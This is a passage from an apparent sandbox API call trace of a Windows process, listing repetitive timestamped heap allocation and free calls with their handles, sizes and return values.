wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.642] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.645] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 